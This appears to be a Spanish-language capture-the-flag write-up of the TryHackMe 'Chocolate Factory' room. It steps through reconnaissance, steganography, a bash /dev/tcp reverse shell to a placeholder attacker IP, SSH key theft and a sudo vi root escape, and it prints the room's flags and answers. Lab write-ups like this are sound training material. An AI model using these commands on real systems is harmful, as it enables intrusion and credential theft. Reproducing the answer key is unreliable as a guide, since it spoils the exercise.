// TryHackMe — CTF — Writeup

CHOCOLATE FACTORY

#linux #anon-ftp #steganography #rce #sudo-vi #fernet
// 01

RECONOCIMIENTO — Escaneo de puertos

Se lanza un escaneo completo de puertos para mapear la superficie de ataque. El escaneo a alta velocidad con -T5 devuelve un rango sospechoso de puertos abiertos (100-125) que resultan ser artefactos falsos. Los servicios reales son tres.

escaneo completo
nmap -p- -T5 <IP> -oG allPorts
escaneo de servicios y versiones
nmap -p 21,22,80 -sSCV -T5 -n -Pn <IP> -oN scan.txt
PUERTO ESTADO SERVICIO VERSIÓN
21/tcpOPENftpvsftpd 3.0.5
22/tcpOPENsshOpenSSH 8.2p1 Ubuntu
80/tcpOPENhttpApache httpd 2.4.41
Superficie de ataque
El FTP permite anonymous login y expone un fichero de imagen. El servidor web Apache no tiene título en la raíz. SSH disponible para acceso posterior con credenciales.
// 02

FTP ANÓNIMO — Esteganografía en imagen

El escaneo de nmap detecta que el FTP permite anonymous login. El directorio raíz contiene únicamente una imagen: gum_room.jpg.

acceso anónimo y descarga
ftp anonymous@<IP> ls -la get gum_room.jpg
-rw-rw-r-- 1 1000 1000 208838 Sep 30 2020 gum_room.jpg

Se analiza la imagen en busca de datos ocultos con strings y steghide. La imagen contiene un fichero embebido con datos en Base64:

extracción de datos ocultos
steghide extract -sf gum_room.jpg -p ""
wrote extracted data to "b64.txt".
decodificación del contenido
cat b64.txt | base64 -d
... charlie:$6$CZJnCPeQWp9/jpNx$khGlFdICJnr8R3JC/jTR2r7DrbFLp8zq8469d3c0.zuKN4se6 1FObwWGxcHZqO2RJHkkL1jjPYeeGyIJWE82X/:18535:0:99999:7::: ...
Fichero /etc/shadow filtrado
La imagen contiene el fichero /etc/shadow del sistema codificado en Base64. El único usuario con hash válido es charlie, con un hash SHA-512 ($6$).
¿Cómo funciona steghide?
Steghide oculta datos dentro de ficheros de imagen o audio modificando los bits menos significativos de los píxeles. Con contraseña vacía el fichero se extrae directamente sin necesidad de fuerza bruta.
// 03

ENUMERACIÓN WEB — Gobuster & credenciales en claro

Se enumera el servidor web con gobuster para descubrir rutas ocultas:

enumeración de directorios
gobuster dir -u "http://<IP>/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -x php,txt,html,js
home.php (Status: 200) [Size: 569] index.html (Status: 200) [Size: 1466] validate.php (Status: 200) [Size: 93] server-status (Status: 403) [Size: 279]

El fichero validate.php, de tan solo 93 bytes, contiene la lógica de autenticación con credenciales en texto claro:

contenido de validate.php
<?php $uname=$_POST['uname']; $password=$_POST['password']; if($uname=="charlie" && $password=="cn7824"){ echo "<script>window.location='home.php'</script>"; } ?>
Credenciales en texto claro
El fichero validate.php expone las credenciales de acceso al panel: charlie / cn7824.
// 04

EXPLOTACIÓN — RCE en home.php

Tras autenticarse en el panel web, home.php expone un campo de ejecución de comandos directa como www-data. Se establece una reverse shell:

listener en kali
nc -lvnp 4444
payload en el campo RCE
bash -c 'bash -i >& /dev/tcp/<IP_ATACANTE>/4444 0>&1'
www-data@ip-10-129-167-232:/var/www/html$

El directorio web contiene ficheros de interés: key_rev_key (binario ELF) y index.php.bak. Se analiza el binario con strings para extraer la clave Fernet sin necesidad de ejecutarlo:

extracción de la clave
strings /var/www/html/key_rev_key
Enter your name: laksdhfas congratulations you have found the key: b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=' Keep its safe
Clave Fernet extraída
El binario key_rev_key imprime la clave cuando se introduce el nombre correcto (laksdhfas). La clave se recupera sin ejecutar el binario mediante strings: -VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=

En el directorio home de charlie se encuentra la clave SSH privada del usuario:

listado del home de charlie
ls -la /home/charlie/
-rw-r--r-- 1 charlie charley 1675 Oct 6 2020 teleport -rw-r--r-- 1 charlie charley 407 Oct 6 2020 teleport.pub -rw-r----- 1 charlie charley 39 Oct 6 2020 user.txt

Se copia el contenido de teleport (clave RSA privada) a la máquina atacante y se accede por SSH:

acceso SSH con clave privada
chmod 600 id_rsa_charlie ssh -i id_rsa_charlie charlie@<IP>
charlie@ip-10-129-167-232:~$ cat user.txt
USER FLAG flag{cd5509042371b34e4826e4838b522d2e}
// 05

PRIVILEGE ESCALATION — sudo vi

Se comprueba qué comandos puede ejecutar charlie como root sin contraseña:

comprobación de sudo
sudo -l
User charlie may run the following commands on ip-10-129-167-232: (ALL : !root) NOPASSWD: /usr/bin/vi
sudo vi con restricción (ALL : !root)
La regla (ALL : !root) intenta impedir ejecutar vi como root. El bypass clásico mediante CVE-2019-14287 (sudo -u#-1) está parcheado en esta versión de sudo. Sin embargo, la restricción no bloquea el escape de shell desde vi.

Se lanza vi con sudo sin especificar usuario (por defecto toma root) y se escapa a una bash preservando el UID efectivo:

explotación
sudo /usr/bin/vi
:!/bin/bash -p
root@ip-10-129-167-232:/home/charlie# whoami root
¿Por qué funciona?
vi permite ejecutar comandos de shell arbitrarios mediante :!comando. Al invocarse con sudo, vi corre con UID 0 (root), por lo que cualquier comando lanzado desde él también lo hace. El flag -p de bash impide que se descarte el UID efectivo elevado.
// 06

ROOT FLAG — Descifrado con clave Fernet

El directorio /root contiene un script Python que descifra la flag con la clave Fernet obtenida anteriormente. El script tiene un bug de compatibilidad: las variables key y encrypted_mess deben ser de tipo bytes, no str. Se corrige y ejecuta:

script root.py (corregido)
from cryptography.fernet import Fernet key=input("Enter the key: ").encode() # corregido: .encode() f=Fernet(key) encrypted_mess= b'gAAAAABfdb52eejIlEaE9ttPY8ckMMfHTIw5lamAWMy8yEdGPhnm9_H_yQikhR -bPy09-NVQn8lF_PDXyTo-T7CpmrFfoVRWzlm0OffAsUM7KIO_xbIQkQojwf_unpPAAKyJQDHNvQaJ' # corregido: b'...' dcrypt_mess=f.decrypt(encrypted_mess) print(dcrypt_mess.decode())
ejecución
python3 root.py
Enter the key: -VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY= flag{cec59161d338fef787fcb4e296b42124}
ROOT FLAG flag{cec59161d338fef787fcb4e296b42124}
// TASKS

PREGUNTAS DE TRYHACKME

Respuestas a las preguntas oficiales de la sala. Pasa el cursor sobre la respuesta para revelarla.

Enter the key you found! b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=' ✓ Correct
What is Charlie's password? cn7824 ✓ Correct
Change user to charlie. What is the user flag? flag{cd5509042371b34e4826e4838b522d2e} ✓ Correct
Escalate privileges and obtain root. What is the root flag? flag{cec59161d338fef787fcb4e296b42124} ✓ Correct
// RESUMEN

CADENA DE ATAQUE

01
FTP Anónimo — gum_room.jpg
Login anónimo en vsftpd → imagen con /etc/shadow embebido en Base64 → hash SHA-512 de charlie + clave Fernet en binario key_rev_key
02
Web — Credenciales en validate.php
Gobuster descubre validate.php con credenciales en texto claro: charlie / cn7824
03
RCE en home.php — Reverse shell
Panel web con ejecución directa de comandos como www-data → reverse shell → clave SSH privada en /home/charlie/teleport
04
SSH como charlie — User flag
Acceso con clave RSA privada → user.txt: flag{cd5509042371b34e4826e4838b522d2e}
sudo vi → Root → Fernet → Root flag
(ALL : !root) NOPASSWD: /usr/bin/vi:!/bin/bash -p → root → python3 root.py con clave Fernet → flag{cec59161d338fef787fcb4e296b42124}